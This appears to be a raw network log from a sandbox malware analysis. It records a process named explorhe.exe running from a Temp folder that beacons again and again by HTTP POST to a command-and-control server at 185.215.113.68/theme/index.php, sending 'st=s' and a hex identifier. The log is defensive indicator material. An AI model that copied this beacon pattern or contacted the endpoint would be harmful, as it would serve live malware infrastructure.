Jan 18, 2024 00:35:47.680850029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50257	185.215.113.68	80	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:48.116070032 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:48.350094080 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:48.351037025 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:48.589106083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50260	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:48.934537888 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:49.172018051 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:49.173285961 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:49.415606976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50262	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:49.776854992 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:50.013386011 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:50.015372992 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:50.255542994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50264	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:50.591634035 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:50.825681925 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:50.826725006 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:51.062380075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50266	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:51.422656059 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:51.654177904 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:51.655082941 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:51.891997099 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50275	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:52.242492914 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:52.473395109 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:52.474344969 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:52.710154057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50279	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:53.073661089 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:53.311700106 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:53.312977076 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:53.557356119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50281	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:53.905038118 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:54.138300896 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:54.140837908 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:54.378861904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50284	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:54.718511105 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:54.951176882 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:54.952836990 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:55.191041946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50288	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:55.542638063 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:55.776629925 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:55.781794071 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:56.017776966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50292	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:56.372585058 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:56.607705116 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:56.613266945 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:56.851886034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50295	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:57.219508886 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:57.453210115 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:57.460283995 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:57.697875023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50298	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:58.070775986 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:58.304474115 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:58.307142019 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: 